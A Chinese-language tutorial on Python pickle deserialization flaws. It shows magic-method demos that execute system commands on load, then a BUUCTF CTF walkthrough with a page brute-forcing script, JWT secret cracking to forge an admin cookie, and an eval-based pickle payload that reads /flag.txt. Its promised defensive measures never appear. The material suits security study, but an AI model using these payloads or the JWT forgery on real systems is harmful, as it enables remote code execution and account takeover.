在现代应用程序开发中,Python反序列化漏洞已成为一个备受关注的安全问题。反序列化是Python中用于将字节流转换回对象的过程,但如果没有妥善处理,攻击者可以通过精心构造的恶意数据,利用反序列化漏洞执行任意代码,进而控制整个系统。理解Python反序列化漏洞的工作原理,并掌握其复现技巧,对于提升我们的安全防护水平至关重要。
本文将深入剖析Python反序列化漏洞的原理,展示如何在实际环境中复现该漏洞,并提供有效的防御措施。无论你是网络安全的新手,还是经验丰富的开发者,都能从中获得宝贵的知识和实用的技能。让我们一同揭开Python反序列化漏洞的神秘面纱,提升我们的安全防护能力。
概念
攻击者通过传入精心构造的恶意序列化数据,利用反序列化过程中恢复对象的特性,使得反序列化代码执行任意命令或代码,从而控制目标系统。这种攻击利用了序列化机制在反序列化过程中对不受信任数据缺乏适当验证的漏洞。
反序列化函数
pickle.dump(obj,file): 将对象序列化后保存到文件
pickle.load(file) :读取文件,将文件中的序列化内容反序列化为对象
pickle.dumps(obj) :将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj): 将字符串格式的字节流反序列化为对象
魔术方法
-
reduce()
-
import pickle import os #反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__() class A(object): def __reduce__(self): print('反序列化调用') return (os.system,('calc',))//必须要有return a = A() p_a = pickle.dumps(a) pickle.loads(p_a)//将其注释之后不会弹计算机,但是输出结果不变 print('==========') print(p_a)
-
-
setstate()
-
import pickle import os class SerializePerson(): def __init__(self, name): self.name = name # 构造 __setstate__ 方法 def __setstate__(self, name): os.system('calc') # 恶意代码 tmp = pickle.dumps(SerializePerson('tom')) #序列化 pickle.loads(tmp) # 反序列化 此时会弹出计算器
-
-
getstate()
-
import pickle import os #序列化魔术方法调用-__getstate__ class A(object): def __getstate__(self): print('序列化调用') os.system('calc') a = A() p_a = pickle.dumps(a) print('==========') print(p_a)
-
-
示例
-
import pickle import os #反序列化安全漏洞产生-DEMO class A(object): def __init__(self, func, arg): self.func = func self.arg = arg print('This is A') def __reduce__(self): print('反序列化调用') return (self.func, self.arg) a = A(os.system, ('calc',)) p_a = pickle.dumps(a) # pickle.loads(p_a) print('==========') print(p_a)
-
-
示例代码
-
靶场:buuctf—[CISCN2019 华北赛区 Day1 Web2]ikun
-
题目提示找到lv6,故写python脚本进行寻找
-
脚本如下:
import requests,time url="http://78a126d5-a835-4226-abe9-4a5fb6a79841.node4.buuoj.cn:81/shop?page=" for i in range(0,2000): time.sleep(0.2) r=requests.get(url+str(i)) if 'lv6.png' in r.text: print(i) break else: print(str(i)+'|no')
-
爆破得到181关,注册登录购买,发现钱不够,捉包修改优惠卷
-
发现需要admin身份,修改cookie值
-
捉包发现cookie出具有jwt验证漏洞
-
利用jwtcracker工具爆破jwt秘钥得到1Kun秘钥
-
利用秘钥在此处(https://jwt.io/#encoded-jwt)得到admin的jwt的值
-
改包放出得到以下页面后右键源代码即可得到后门代码
-
全局搜索反序列化函数pickle,存在load反序列化函数,有漏洞,故根据题目写下payload
-
import pickle import urllib class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload()) a = urllib.quote(a) print a //此脚本为python2
-
-
可以看到pickle所在的类为
AdminHandler
,全局搜索,找到对应网址 -
根据脚本生成的payload,在对应元素元素的值进行更改或者修改数据包
-
通过本文的学习,我们不仅深入了解了Python反序列化漏洞的原理,还掌握了复现该漏洞的具体步骤和有效的防御策略。安全防护不仅是技术上的突破,更是一种持续关注和防范的意识。通过对Python反序列化漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据免受攻击。
在信息安全的道路上,我们每个人都有责任和义务不断提升自身的安全技能和意识。希望本文能为你在安全防护方面提供有价值的指导和帮助,激发你对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全和可靠的网络环境。如果你有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢你的阅读,期待你的反馈与分享!